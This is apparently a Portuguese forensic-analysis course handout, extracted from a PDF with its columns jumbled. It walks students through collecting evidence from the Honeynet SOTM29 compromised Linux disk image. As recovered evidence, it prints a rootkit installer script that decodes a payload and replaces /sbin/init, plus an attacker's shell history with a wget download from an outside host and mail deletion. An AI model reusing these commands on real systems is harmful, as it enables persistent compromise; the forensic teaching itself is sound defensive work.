Length: 49 MB (52106240 bytes)
Num Name (bs=512) Size File Offset Comment
0: 00000422.jpg 77 KB 216260
1: 00000482.jpg 46 KB 247042
2: 00000679.jpg 2 KB 348009

CD de ferramentas
CD de ferramentas

Durante uma investigação, é importante que o investi-


Deve-se criar ou utilizar um CD com ferramentas úteis
ao trabalho do investigador. gador tenha em mãos todas as ferramentas necessá-
O Live CD do Helix é uma boa opção, mas caso o seu rias para o seu trabalho.
trabalho seja exclusivamente realizar investigações de
incidente, você deveria pensar em criar seu próprio
CD de ferramentas. É necessário compilar estaticamente todas as ferra-
A primeira coisa que deve existir em um CD de mentas do CD, para evitar o comprometimento por
ferramentas forenses é um interpretador de comandos binários ou bibliotecas suspeitas.
confiável.

CD de ferramentas

Além de um interpretador de comandos, o CD deve


conter as seguintes ferramentas:
Todas as ferramentas básicas vistas anteriormente.
Todas as ferramentas do pacote forense escolhido.
Ferramentas básicas do sistema:
ls, cp, mv, rm, chroot, cat, less, more, chmod, chown, chgrp,
date, df, du, cut, sort, strip, tail, head, ln, arp, echo, env,
hostname, id, ifconfig, pwd, touch, uniq, uptime, wc, who.
Ferramentas de manipulação e compilação de objetos:
cc, ld, nm, ldd, addr2line, ar, as, gprof, objcopy, objdump,
ranlib.

Análise forense – Sessão de aprendizagem 3


67

Conclusões
Conclusões

Na próxima sessão conheceremos as técnicas para


O sistema operacional utilizado pelo investigador
precisa ser flexível e confiável. coleta de evidências a partir da imagem do disco
Deve dispor de ferramentas básicas que auxiliem na de uma máquina comprometida. Apesar desta ser a
tarefa de analisar dezenas de gigabytes de dados. parte mais demorada do processo, veremos que as
A utilização de um pacote de ferramentas forenses é técnicas são simples e de fácil execução.
indispensável.
Todas as ferramentas utilizadas devem estar
disponíveis em um CD, compiladas estaticamente e
prontas para utilização em qualquer situação.

Ambiente e ferramentas de análise forense (parte 2)


68
Escola Superior de Redes RNP

Análise forense – Sessão de aprendizagem 3


3
Sessão de aprendizagem 3
Ambiente e ferramentas de análise
forense (parte 2)
Roteiro de atividades
Tópicos e conceitos

\\Utilizaçãode comandos do sistema operacional e do pacote forense de


ferramentas.

Competências técnicas desenvolvidas

\\Encontrar arquivos escondidos no disco e verificar o seu conteúdo

Outras competências desenvolvidas

\\Capacidade de investigação e pesquisa do aluno.

Tempo previsto para as atividades

\\90-110 minutos
70
Escola Superior de Redes RNP

Atividade 1 – Investigando o disco

Existe um arquivo escondido em algum lugar no diretório /data, sobre o


qual não se sabe nada. O aluno, sozinho ou com um colega, deve utilizar
somente as ferramentas básicas vistas nessa sessão para encontrar o
arquivo, e sem executá-lo, descobrir suas funcionalidades. O aluno deve
preparar um relatório explicando os comandos que utilizou para
encontrar o arquivo e para analisar seu conteúdo de modo a descobrir
suas funcionalidades. O relatório deve conter o hash do arquivo, tipo,
nome e diretório local onde foi encontrado, bibliotecas utilizadas e
qualquer informação extra que julgue importante para identificar o
arquivo. Existe algum arquivo no sistema do Helix que tenha a mesma
assinatura desse arquivo? Se encontrar um arquivo com mesmo hash,
inclua isso em seu relatório. Discuta com seus colegas as técnicas,
dificuldades e soluções encontradas neste exercício. (Guarde 15 minutos
para discussão com os demais alunos.)

Atividade 2 – Uso do Sleuth Kit

1. Utilizando as ferramentas do Sleuth Kit, recupere todos os arquivos


removidos da imagem disponível em /data/dev_sda2_root.img.
Primeiramente é preciso encontrar esses arquivos, e depois recuperá-los.
Faça um relatório com as ferramentas e os passos utilizados para a
realização dessa tarefa. Compare também os arquivos recuperados com
os arquivos existentes no Live CD do Helix.

2. Junto com um colega, encontre e recupere os arquivos presentes na


imagem /data/dev_sda2_root.img que contém o texto “know what to do
with”. Isso deve ser feito sem montar a imagem, apenas utilizando as
ferramentas do Sleuth Kit. Faça um relatório com os passos e
ferramentas necessárias, e discuta com seus colegas as técnicas que
poderiam ser utilizadas caso você tivesse acesso ao dispositivo montado,
isto é, se fosse possível montar o dispositivo original em um diretório e
você tivesse acesso direto aos arquivos, que técnicas poderiam ser
utilizadas para realizar a tarefa? Discuta o resultado com outros grupos.

Análise forense – Sessão de aprendizagem 3


4
Sessão de aprendizagem 4
Coleta de evidências

Sumário da sessão

Coleta de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72

Sistema comprometido. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72

Tipos de evidências . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72

Primeiros passos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73

Armazenagem de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75

Técnicas de coleta. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76

Arquivos de logs. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77

Arquivos de inicialização do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78

Arquivos de histórico de comandos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80

Checando arquivos importantes do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . 81

Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83

Atividade 1 – Coletando evidências . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84


72
Escola Superior de Redes RNP

Coleta de evidências
Coleta de evidências

É importante tentar recuperar qualquer programa ou


A análise forense de mídias tem o objetivo de
recuperar evidências que comprovem a invasão do arquivo de dados instalado ou utilizado pelo invasor.
computador analisado.
O investigador deve ser imparcial em seu julgamento A intenção da análise forense não é comprovar a
e na coleta de provas.
culpa de alguém. O investigador deve ser imparcial
O processo de coleta de evidências é demorado e
varia de caso para caso. em seu julgamento e na coleta de provas. Em alguns
Vamos nos concentrar em conhecer as evidências casos, é tão importante comprovar a inocência
importantes e a forma de recuperá-las do disco, para quanto a culpa de alguém.
depois analisá-las e tentar montar uma linha de tempo
do ataque.
Em alguns casos específicos, será necessária uma
análise mais avançada de alguma evidência. Por
exemplo, realizar a engenharia reversa de algum executável suspeito encontrado
na máquina comprometida.

Sistema comprometido Sistema comprometido

Utilizaremos um modelo virtual de um sistema comprometido, No material do aluno existe uma máquina virtual
utilizado no “Scan Of The Month 29” do projeto Honeynet. chamada “Linux”, que pode ser utilizada para testar
Esta máquina virtual foi parada em um momento específico
após a invasão, para que fosse possível analisar o sistema o procedimento de coleta da imagem do disco do
como se estivesse utilizando a máquina. sistema comprometido. Além disso, a máquina virtual
Como esta máquina virtual é antiga, as versões mais novas do
VMWare não conseguem mais abri-la.
original do “Scan of the Month 29” está disponível, e
Por isso, vamos utilizar uma outra máquina virtual, configurada chama-se “linux-suspended.tgz”.
para usar o disco da máquina antiga.
Dessa forma, poderemos acessar o disco com um Live CD do
Helix, e capturar uma imagem do disco. Esta máquina virtual do SOTM29 foi utilizada como
É essa imagem que vamos analisar nas próximas sessões. exemplo no trabalho de certificação para o SANS de
um técnico da RNP, Jacomo D. B. Piccolini. Este tra-
balho ilustra muito bem o modo de realizar a análise
forense em um sistema vivo. Como a quantidade de evidências encontradas nessa
máquina é muito grande, não iremos procurar exaustivamente por elas.

Nos exercícios que veremos ao longo da sessão, mostraremos alguns exemplos


de evidências que podem ser encontradas, embora fique a cargo do aluno pesqui-
sar o resultado dos exemplos e tentar identificar mais evidências.

Tipos de evidências
Tipos de evidências

Qualquer tipo de informação encontrada na máquina


suspeita pode ser considerado uma evidência.
Arquivos de logs
Arquivos apagados
Históricos de comandos
Binários comprometidos
Arquivos em diretórios suspeitos
Arquivos abertos no momento da coleta inicial de
evidências
Dados importantes que possam ter sido comprometidos
Datas de acesso, de modificação e de criação de arquivos

Análise forense – Sessão de aprendizagem 4


73

Primeiros passos

Esta é a imagem da tela do sistema após ter sido


comprometido e antes de ser parado para análise.
Note a presença de informações importantes, como o
sistema operacional utilizado, a data em que o sistema
foi parado e as mensagens que aparecem na imagem,
como por exemplo as mensagens informando que a
interface de rede entrou em modo promíscuo.

Uma informação que queremos manter são os times-


tamps de escrita e montagem do disco. Se montar-
mos a imagem sem a preocupação de proteger as
Um bom ponto evidências, elas serão perdidas e isto pode prejudicar a investigação.
de partida são as
informações coletadas Entretanto, ao executar este comando percebemos que ocorre um erro e a ima-
durante o momento da gem não é montada. Aparentemente, o processo de desligar a máquina sem desligar
captura do computador o sistema operacional corretamente acabou prejudicando a estrutura do disco. Este
comprometido. tipo de situação pode ocorrer com freqüência em uma investigação, onde o investiga-
dor tem que escolher entre prejudicar uma evidência ou ter acesso a mais evidências.

O que precisamos fazer agora é arrumar a imagem


Primeiros passos
do dispositivo. Existem duas maneiras de fazer isso:
Para começar a procurar por evidências na imagem do disco comprometido,
utilizando o comando fsck para fixar os problemas
será necessário ter acesso ao sistema de arquivos dessa imagem.
do disco ou simplesmente montando a imagem em
É importante sempre manter a integridade de todas as evidências.
# mkdir /mnt/image
modo de leitura e escrita.
# mount /data/compromised/compromised_hda1.img /data/hda1.img /mnt/image –o
ro,loop,noatime,nodev,noexec –t ext2
# fsstat /data/compromised/compromised_hda1.img | less
FILE SYSTEM INFORMATION
Antes de tentar recuperar o acesso a imagem, precisa-
--------------------------------------------
File System Type: Ext3
mos salvar as informações que serão perdidas. Quando
Volume Name: / montamos um dispositivo, o kernel do sistema operacio-
Volume ID: 45ba545b90872295d7113db68ac3de0b
Last Written at: Sat Aug 9 15:34:26 2003 nal atualiza os tempos de última escrita e de última data
Last Checked at: Mon Jul 14 14:52:13 2003
Last Mounted at: Sat Aug 9 15:34:26 2003 de montagem do mesmo. Precisamos salvar essas infor-
mações antes de prosseguir. Lembre-se de que temos
uma ferramenta que pode ser muito útil, o fsstat.

# fsstat /data/compromised/compromised_hda1.img | less8


FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext3
Volume Name: /
Volume ID: 45ba545b90872295d7113db68ac3de0b
Last Written at: Sat Aug 9 15:34:26 2003
Last Checked at: Mon Jul 14 14:52:13 2003
Last Mounted at: Sat Aug 9 15:34:26 2003
Unmounted properly
Last mounted on:
Source OS: Linux
Dynamic Structure
Compat Features: Journal,
InCompat Features: Filetype, Needs Recovery,
Read Only Compat Features: Sparse Super,

Coleta de evidências
74
Escola Superior de Redes RNP

CONTENT INFORMATION
--------------------------------------------
Block Range: 0 - 235515
Block Size: 4096
Free Blocks: 144419

Temos algumas informações importantes no resultado acima. Primeiramente,


vemos as datas de modificação da imagem. Podemos ver que a data em que o
dispositivo foi escrito pela última vez é igual à data em que ele foi montado pela
última vez. Como esta era a raiz do sistema, esta data de modificação pode
indicar a data em que o sistema foi ligado pela última vez. Se compararmos com
a data mostrada na foto do monitor da máquina, vemos que ela foi provavelmente
ligada às 15:34:26 do dia 9 de agosto de 2003, e o sistema foi desligado para
coleta do disco em 10 de agosto de 2003, às 20:30:39, ou seja, no dia seguinte.
Estas datas são importantes para delimitar o período em que o invasor poderia
ter tido acesso à máquina.

Podemos ver também na saída do comando que o tamanho do bloco de dados é


de 4096 bytes. Vamos utilizar essa informação posteriormente com as ferramen-
tas do Sleuth Kit.

# mkdir /mnt/image8

# mount /data/compromised/compromised_hda1.img /mnt/image –o ro,loop,noatime,


nodev,noexec –t ext28

# fsstat /data/compromised/compromised_hda1.img | less8


FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext3
Volume Name: /
Volume ID: 45ba545b90872295d7113db68ac3de0b
Last Written at: Sat Aug 9 15:34:26 2003
Last Checked at: Mon Jul 14 14:52:13 2003
Last Mounted at: Sat Aug 9 15:34:26 2003

No primeiro exemplo, realizamos uma procura por


Primeiros passos
arquivos modificados a partir de uma data determinada.
Algumas ferramentas do sistema podem ser usadas na
investigação, e muitas vezes são essenciais para o trabalho. O segundo mostra como procurar por arquivos alte-
A coleta de evidências é um processo cíclico. Cada evidência
rados a partir da data de modificação de um arquivo
encontrada leva a novas pistas e o processo deve ser
reiniciado com as novas informações. qualquer, para descobrir modificações e acessos
# find /mnt/image –atime 1825 –or –mtime 1825 posteriores.
# find /mnt/image/ -anewer /mnt/image/bin/date –ls
# find /mnt/image/dev/ -not -type c –and -not -type b –ls
# file /mnt/image/dev/ttyop O terceiro mostra como procurar por tipos específi-
# strings /mnt/image/dev/ttyop cos de arquivos.

Os dois últimos comandos mostram como identificar o


conteúdo de um arquivo e visualizá-lo de forma segura.

# find /mnt/image –atime 1825 –or –mtime 18258

# find /mnt/image/ -anewer /mnt/image/bin/date –ls8

Análise forense – Sessão de aprendizagem 4


75

# find /mnt/image/dev/ -not -type c –and -not -type b –ls8

# file /mnt/image/dev/ttyop8

# strings /mnt/image/dev/ttyop8

Armazenagem de evidências
Armazenagem de evidências

É necessário manter uma cadeia de custódia das


Armazenar evidências de forma segura e padronizada:
Garante a integridade das mesmas. evidências encontradas. Para isso, precisamos identi-
Permite recuperar e correlacionar de forma fácil as ficar e armazenar cada evidência de forma segura e
evidências. de modo que seja possível identificar rapidamente a
Mantém a cadeia de custódia das evidências, procedência de cada uma. Para isso, vamos usar um
permitindo o controle do acesso a elas.
sistema de fichas para cada evidência encontrada.
O local de armazenagem deve ser seguro e ter acesso
controlado.
Veja os detalhes que guardamos em cada ficha. O
primeiro campo é uma tag única de identificação,
para podermos referenciar cada evidência posterior-
mente. É interessante criar essa tag com referência
à data e hora em que ela foi encontrada, ou a data e
Armazenagem de evidências hora de criação do arquivo.

tag# 20080118-1750-txt-0001
Temos também informações sobre o arquivo em si.
Tipo Arquivo de texto Nome, tipo do arquivo, tamanho e data de criação,
Nome /mnt/image/dev/ttyop
uma descrição do que é o arquivo e o hash SHA1 do
SHA1 hash 2a7badc291e94f3dcb621c0b7abf100eb0ad88cd
Tamanho 74 bytes mesmo. Com isso, teremos informações suficientes
Data 2002/03/18
para identificar e referenciar o arquivo em um rela-
Descrição Arquivo com nomes de processos/arquivos
Observações Relacionado com evidências 20040907-1750- tório, bem como garantir que o arquivo estará tão
txt-0002 e 20040907-1750-txt-0003
íntegro como no momento em que foi encontrado.

Armazenagem de evidências

tag# 20080118-1750-txt-0002
Tipo Arquivo de texto
Nome /mnt/image/dev/ttyoa
SHA1 hash fe3b2e77710875617dee295e1f880b
9fcc4d9300
Tamanho 134 bytes
Data 2002/09/04
Descrição Arquivo com endereços de
rede/portas
Observações

Coleta de evidências
76
Escola Superior de Redes RNP

Técnicas de coleta Técnicas de coleta

Utilizar inicialmente as ferramentas do sistema para Os exemplos de comandos mostram diversas formas
encontrar pistas valiosas. de procurar por evidências em disco:
# find /mnt/image -name .\*
# find /mnt/image –name “[ ]*.*”
# find /mnt/image -name .\*8
# strings -a -n4 /data/compromised/compromised_hda1.img
# grep –E “[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}” # find /mnt/image –name “[ ]*.*”8
/data/compromised/compromised_hda1.img.str
# grep -i “ttyoa”
/data/compromised/compromised_hda1.img.str
# strings -a -n4 /data/compromised/compromised_hda1
# grep “tar\.gz”
.img8
/data/compromised/compromised_hda1.img.str
# grep -f /data/dirt_list.txt # grep –E “[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9
/data/compromised/compromised_hda1.img.str
]{1,3}” /data/compromised/compromised_hda1.img.str8

# grep -i “ttyoa” /data/compromised/compromised_hda


1.img.str8

# grep “tar\.gz” /data/compromised/compromised_


hda1.img.str8

# grep -f /data/dirt_list.txt /data/compromised/


compromised_hda1.img.str8

\\O primeiro exemplo de comando procura por arquivos que comecem com um
ponto, que no Linux correspondem a arquivos escondidos (atributos hidden,
como no DOS). Eles podem ser importantes para encontrar arquivos que
normalmente não são mostrados em um ls –l.

\\O segundo exemplo de comando procura por arquivos que tenham um


nome com um ou mais espaços. Estes arquivos são difíceis de encontrar se
fizermos uma listagem em um diretório com muitos arquivos.

\\O terceiro exemplo de comando extrai da imagem do dispositivo todas as


strings com mais de 4 caracteres.

\\O quarto comando mostra como procurar por endereços IP no arquivo de strings.

\\O comando seguinte mostra um exemplo de arquivo suspeito, e o modo como


procurar na imagem por referências a este arquivo.

\\O penúltimo exemplo mostra como procurar por referências a arquivos


compactados na imagem, importante para descobrir pacotes de ferramentas
instaladas pelo hacker.

\\O último exemplo mostra como utilizar uma dirt list para realizar uma procura
na imagem por palavras-chave.

Análise forense – Sessão de aprendizagem 4


77

# ls –la /mnt/image/var/log8
Técnicas de coleta
# more /mnt/image/var/log/boot.log8
Analisar os arquivos de sistema, logs, binários,
# more /mnt/image/var/log/secure8
inicialização e históricos de comandos.
Verificar dados importantes armazenados em disco. # more /mnt/image/var/log/maillog8

# ls –la /mnt/image/var/log
# find /mnt/image -name \*.log8
# more /mnt/image/var/log/boot.log
# more /mnt/image/var/log/secure
# more /mnt/image/etc/opt/psybnc/log/psybnc.log8
# more /mnt/image/var/log/maillog
# find /mnt/image -name \*.log # cat /mnt/image/usr/lib/libice.log8
# more /mnt/image/etc/opt/psybnc/log/psybnc.log
# cat /mnt/image/usr/lib/libice.log
Os arquivos de log são importantes, pois contêm
informações de tempo sobre os eventos ocorridos
na máquina, podendo ser relacionados a fontes
externas como logs de roteadores e firewalls. No
entanto, é importante não confiar somente no log.

Nos exemplos, diversos arquivos de log de interesse para a investigação e o modo


de procurar por mais logs no sistema. Também podemos ver alguns arquivos de log
abandonados pelo hacker.

Algumas vezes, a invasão é feita apenas para comprometer códigos-fonte ou banco


de dados armazenados na máquina.

Arquivos de logs
Arquivos de logs
A análise de arquivos de logs é um passo importante
A análise de arquivos de logs é um passo importante
na análise forense, embora nunca se deva confiar
na análise forense, embora nunca se deva confiar
totalmente em um log. totalmente em um log. Às vezes, até mesmo a falta
Às vezes, até mesmo a falta de alguma informação em de alguma informação em um log pode ser uma
um log pode ser uma evidência importante. evidência importante. O investigador deve procurar
O investigador deve procurar todos os arquivos de
todos os arquivos de logs armazenados em disco.
logs armazenados em disco.
É importante tentar correlacionar os logs com outros
eventos: data de criação/acesso/remoção de arquivos, É importante tentar correlacionar os logs com outros
outros logs, eventos capturados em dispositivos de eventos: data de criação/acesso/remoção de arqui-
rede etc.
vos, outros logs, eventos capturados em dispositivos
de rede etc.

O investigador deve procurar todas as informações pertinentes que estejam relacio-


nadas a uma evidência, e lembrar de correlacionar eventos nos logs com evidências
encontradas anteriormente. Sempre que encontrar novas evidências, deve retomar
o processo de procura de evidências utilizando as novas informações encontradas.

Coleta de evidências
78
Escola Superior de Redes RNP

Logs de e-mail podem fornecer boas pistas:


Arquivos de logs
# more maillog8
Logs de e-mail podem fornecer boas pistas Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04
# more maillog
763: to=jijeljijel@yahoo.com, ctladdr=apache (48/48
Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04763: to=jijeljijel@yahoo.com,
ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=31300, ), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, p
relay=mx1.mail.yahoo.com. [64.157.4.78], dsn=2.0.0, stat=Sent (ok dirdel)
ri=31300, relay=mx1.mail.yahoo.com. [64.157.4.78], d
Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn23300: to=newptraceuser@yahoo.com,
ctladdr=apache (48/48), delay=00:07:10, xdelay=00:07:10, mailer=esmtp, pri=30043, sn=2.0.0, stat=Sent (ok dirdel)
relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=2.0.0, stat=Sent (ok dirdel)
Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC23321: to=newptraceuser@yahoo.com, Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn2
ctladdr=apache (48/48), delay=00:12:00, xdelay=00:12:00, mailer=esmtp, pri=30043,
relay=mx4.mail.yahoo.com. [216.136.129.17], dsn=4.0.0, stat=Deferred: Connection
3300: to=newptraceuser@yahoo.com, ctladdr=apache (4
timed out with mx4.mail.yahoo.com. 8/48), delay=00:07:10, xdelay=00:07:10, mailer=esmt
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629:
to=skiZophrenia_siCk@yahoo.com, ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10,
p, pri=30043, relay=mx4.mail.yahoo.com. [216.136.12
mailer=esmtp, pri=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, 9.6], dsn=2.0.0, stat=Sent (ok dirdel)
stat=Service unavailable
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: h7AMhhG25659: DSN: Service Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC2
unavailable
3321: to=newptraceuser@yahoo.com, ctladdr=apache
Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321: to=newptraceuser@yahoo.com,
ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmtp, pri=120043, (48/48), delay=00:12:00, xdelay=00:12:00, mailer=es
relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dirdel)
mtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.
129.17], dsn=4.0.0, stat=Deferred: Connection timed
out with mx4.mail.yahoo.com.
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: to=skiZophrenia_siCk@y
ahoo.com, ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10, mailer=esmtp, pr
i=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, stat=Service una
vailable
Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: h7AMhhG25659: DSN: Ser
vice unavailable
Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321: to=newptraceuser@yahoo.
com, ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmtp, pri
=120043, relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dir
del)

Neste exemplo de log observamos diversas evidências sobre a invasão do sistema: o


arquivo de log de envio de e-mail e diversos e-mails enviados para usuários externos.

Além dos endereços externos de e-mail, que podem ser uma indicação de pista do
invasor da máquina, temos também a informação do usuário local que enviou o e-mail.
Repare que nos primeiros casos, temos o usuário “apache” com “UID 48” enviando
o e-mail, e a seguir temos o usuário “root” com “UID 0” enviando e-mail, o que pode
ser uma indicação do momento em que ocorreu a invasão e o comprometimento do
sistema, com a obtenção do acesso de super usuário pelo invasor.

Constatamos também que possivelmente o ataque ocorreu através do serviço HTTP.

Arquivos de inicialização do sistema


Arquivos de inicialização do sistema

Normalmente, ao invadir uma máquina o atacante tenta


Ao invadir uma máquina, o atacante tenta garantir o
controle do sistema através da instalação de rootkits garantir o controle do sistema através da instalação
ou ferramentas de backdoor. de rootkits ou ferramentas de backdoor. Para isso,
Para isso, será necessário modificar os arquivos de será necessário modificar os arquivos de inicialização
inicialização da máquina, ou então substituir
executáveis do sistema por versões comprometidas da máquina, ou então substituir executáveis do sistema
com backdoors. por versões comprometidas com backdoors.
Os arquivos utilizados variam dependendo do tipo de
sistema que estiver sendo utilizado.
Os arquivos utilizados variam dependendo do tipo
de sistema que estiver sendo utilizado; normalmente
são nomeados /etc/rc.* ou /etc/rc.d/*. Dois arquivos
normalmente utilizados:

Análise forense – Sessão de aprendizagem 4


79

\\rc.sysinit (/etc/rc em distribuições Debian)

\\/etc/rc.local

Muitas vezes, arquivos de inicialização podem conter comandos para controlar o sis-
tema após reiniciar a máquina, fornecendo pistas de onde procurar por mais evidências.

No exemplo, encontramos o arquivo de instalação de um rootkit:

# find /mnt/image/ -name inst8


/mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst
/mnt/image/lib/.x/inst

# file /mnt/image/lib/.x/inst8
/mnt/image/lib/.x/inst: Bourne-Again shell script text executable

# cat /mnt/image/lib/.x/inst8
#!/bin/bash
D=”/lib/.x”
H=”13996”
mkdir -p $D; cd $D
echo > .sniffer; chmod 0622 .sniffer
echo -n -e “\037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\17
0\
...
\313\233\330\157\000\000” | gzip -d > sk
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H};
fi; rm -f /sbin/init; cp sk /sbin/init
echo Your home is $D, go there and type ./sk to install
echo Have phun!

# find /mnt/image/ -name inst8


/mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst
Arquivos de inicialização do sistema /mnt/image/lib/.x/inst

# file /mnt/image/lib/.x/inst8
No exemplo, encontramos o arquivo de instalação de
um rootkit /mnt/image/lib/.x/inst: Bourne-Again shell script
text executable
# find /mnt/image/ -name inst
/mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst
/mnt/image/lib/.x/inst
# cat /mnt/image/lib/.x/inst8
# file /mnt/image/lib/.x/inst
/mnt/image/lib/.x/inst: Bourne-Again shell script text executable #!/bin/bash
# cat /mnt/image/lib/.x/inst
#!/bin/bash D=”/lib/.x”
D="/lib/.x"
H="13996" H=”13996”
mkdir -p $D; cd $D
echo > .sniffer; chmod 0622 .sniffer mkdir -p $D; cd $D
echo -n -e "\037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\170\
...
\313\233\330\157\000\000" | gzip -d > sk
echo > .sniffer; chmod 0622 .sniffer
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f
/sbin/init; cp sk /sbin/init
echo -n -e “\037\213\010\010\114\115\016\076\002\00
echo Your home is $D, go there and type ./sk to install 3\163\153\000\355\175\177\170\
echo Have phun!
...
\313\233\330\157\000\000” | gzip -d > sk
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp
-f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init;
cp sk /sbin/init
echo Your home is $D, go there and type ./sk to ins
tall
echo Have phun!

Coleta de evidências
80
Escola Superior de Redes RNP

Arquivos de histórico de comandos


Arquivos de histórico de comandos

Uma das primeiras providências tomadas por um Uma das primeiras providências tomadas por um invasor
invasor ao adquirir o controle de uma máquina é tentar ao adquirir o controle de uma máquina é tentar apagar
apagar seus rastros.
seus rastros. Por isso, muitas vezes os arquivos de
A maioria dos invasores não têm um conhecimento
profundo do sistema.
logs ou de histórico de comandos são apagados.
Os históricos de comandos são criados pelo shell e
geralmente armazenados em arquivo no fim da sessão. A maioria dos invasores não têm um conhecimento
Muitos invasores esquecem desse detalhe. profundo do sistema, e geralmente não conseguem
Alguns invasores costumam remover o histórico de
comandos e redirecionar o arquivo para o dispositivo
remover todos os seus rastros. Os históricos de
/dev/null comandos são criados pelo shell e geralmente
armazenados em arquivo no fim da sessão. Muitos
invasores esquecem desse detalhe.

Alguns invasores costumam remover o histórico de comandos e redirecionar o


arquivo para o dispositivo /dev/null. Outra forma de procurar por históricos de
comandos é tentar encontrá-los no arquivo de strings extraídas da imagem.

Abaixo observamos alguns exemplos de como procurar por arquivos de históricos


de comandos no sistema, e também o modo como eles podem conter informa-
ções interessantes sobre as atividades do atacante. Os dados coletados aqui
podem ser úteis para procurar novamente por arquivos suspeitos na máquina,
através dos comandos estudados até agora.

# find /mnt/image/ -name .*history -ls8


47172 0 lrwxrwxrwx 1 root root 9 Aug 10 2003 /mnt/image/root/.bash_history -> /
dev/null
3188 4 -rw------- 1 root root 235 Aug 10 2003 /mnt/image/.bash_history

# file /mnt/image/.bash_history8
amore/mnt/image/.bash_history: ASCII text

# cat /mnt/image/.bash_history8
id
uptime
./inst
hostname
hostname sbm79.dtc.apu.edu
cd /dev/shm/sc
./install sbm79.dtc.apu.edu
rm -rf /var/mail/root
ps x
cd /tmp
ls -a
wget izolam.net/sslstop.tar.gz
ps x
ps aux | grep apache
kill -9 21510 21511 23289 23292 23302

# grep izolam.net /data/compromised/compromised_hda1.img.str8

Análise forense – Sessão de aprendizagem 4


81

Checando arquivos importantes do sistema


Checando arquivos importantes do sistema
Chkrootkit e ClamAV, disponíveis no CD do Helix,
O processo de procurar evidências manualmente pode
podem ser ferramentas importantes para o investiga-
ser muito demorado e cansativo. Nestes casos, pode
ser mais eficiente utilizar algumas ferramentas para dor encontrar arquivos suspeitos na máquina compro-
facilitar essa pesquisa. metida. Por exemplo, o ClamAV encontrou no sistema
Chkrootkit e um antivírus são um bom auxílio ao a presença de um vírus para Linux chamado Linux/
investigador.
RST.b, que infecta arquivos no diretório corrente e no
Estas ferramentas podem nos auxiliar a confirmar
informações que havíamos encontrado anteriormente, /bin. Ele também abre um backdoor na máquina que
bem como detectar novas evidências da invasão. pode ser acessado através do protocolo EGP.
Um antivírus pode nos ajudar a encontrar evidências
mais difíceis de detectar pelas técnicas normais.
Este vírus foi instalado quando o invasor executou uma
das ferramentas baixadas após invadir a máquina, o
que mostra que muitas vezes o invasor não tem noção
Checando arquivos importantes do sistema do que está instalando na máquina, e que ela pode
ficar vulnerável não apenas ao invasor original, mas
Prática: a outros que tenham acesso a esses backdoors.
Apenas como exercício, execute o comando abaixo e
veja se acha algo interessante: O arquivo /dev/hdx1 foi criado na instalação do vírus
RST.B no sistema. Ele indica que o usuário que exe-
# find /mnt/image/ -anewer /mnt/image/dev/hdx1 -ls | less
cutou a ferramenta infectada estava com permissão
de super usuário no momento.
Lembra o que o comando acima faz?
O comando acima procura pelos arquivos modifica-
Anote os arquivos de interesse e inclua-os na lista de
evidências. dos ou acessados após a criação desse arquivo,
e a listagem contém diversos arquivos instalados
pelo hacker, ferramentas utilizadas em ataque,
modificações em arquivos do sistema, entre outras
informações importantes.

Conclusões Conclusões

Vimos nesta sessão o que são evidências e como Na próxima sessão veremos as ferramentas e técni-
